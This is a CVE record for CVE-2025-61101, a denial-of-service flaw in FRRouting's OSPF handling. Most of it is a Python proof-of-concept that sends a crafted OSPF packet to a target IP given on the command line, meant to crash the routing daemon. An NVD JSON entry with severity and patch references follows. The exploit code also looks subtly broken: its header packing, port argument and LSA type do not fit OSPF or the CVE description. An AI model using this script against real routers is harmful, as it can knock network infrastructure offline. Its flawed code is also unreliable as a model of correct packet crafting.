CVE-2025-61101

import socket import struct import sys # OSPF Header Structure def build_ospf_header(ospf_type, payload): version = 2 # OSPFv2 msg_type = ospf_type length = 24 + len(payload) # OSPF header (24 bytes) + payload router_id = b'\xc0\xa8\x01\x01' # Attacker's router ID area_id = b'\xc0\xa8\x01\x00' # Area ID checksum = 0 auth_type = 0 auth = b'\x00' * 8 header = struct.pack('!BBHIIIIHH', version, msg_type, length, router_id[0]*256+router_id[1], router_id[2]*256+router_id[3], area_id[0]*256+area_id[1], area_id[2]*256+area_id[3], checksum, auth_type) header += auth return header # Build malformed OSPF External LSA to trigger NULL pointer dereference def build_malformed_external_lsa(): # LSA header ls_age = 1 options = 0x22 ls_type = 5 # AS-External LSA link_state_id = 1 advertising_router = struct.pack('!I', 0xC0A80102) ls_sequence = 0x80000001 ls_checksum = 0 length = 36 + 20 # header + external link data lsa_header = struct.pack('!HHIII', ls_age, options, ls_type, link_state_id, advertising_router[0]*256+advertising_router[1]) lsa_header += struct.pack('!II', advertising_router[2]*256+advertising_router[3], ls_sequence) lsa_header += struct.pack('!HH', ls_checksum, length) # Malformed external link data to trigger NULL pointer in show_vty_ext_link_rmt_itf_addr # Set network mask to 0 and external route type to cause NULL pointer dereference network_mask = b'\x00\x00\x00\x00' # NULL mask to trigger vulnerability ebit_tos = 0x80 # E-bit set metric = struct.pack('!I', 1) forwarding_address = b'\x00\x00\x00\x00' # NULL forwarding address external_route_tag = struct.pack('!I', 0) payload = network_mask + struct.pack('!B', ebit_tos) + metric + forwarding_address + external_route_tag return lsa_header + payload def exploit(target_ip, target_port=520): sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, 89) # OSPF protocol sock.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1) lsa_payload = build_malformed_external_lsa() ospf_header = build_ospf_header(4, lsa_payload) # Type 4: LSA Update packet = ospf_header + lsa_payload print(f'[+] Sending malicious OSPF packet to {target_ip}') sock.sendto(packet, (target_ip, target_port)) print('[+] Packet sent. Target may crash due to NULL pointer dereference.') sock.close() if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip>') sys.exit(1) exploit(sys.argv[1])

{"cve": {"id": "CVE-2025-61101", "sourceIdentifier": "[email protected]", "published": "2025-10-27T20:15:54.050", "lastModified": "2025-11-03T17:53:25.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FRRouting/frr from v4.0 through v10.4.1 was discovered to contain a NULL pointer dereference via the show_vty_ext_link_rmt_itf_addr function at ospf_ext.c. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted OSPF packet."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frrouting:frrouting:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0", "versionEndIncluding": "10.4.1", "matchCriteriaId": "B41245C0-85A2-4A77-BF46-27F573E6F588"}]}]}], "references": [{"url": "https://github.com/FRRouting/frr/issues/19471", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/FRRouting/frr/pull/19480", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/FRRouting/frr/pull/19480/commits/fdd957408605d4a1766225630aafc7e6b7c3daf3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/s1awwhy/BugList/blob/main/CVE-2025-61101.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}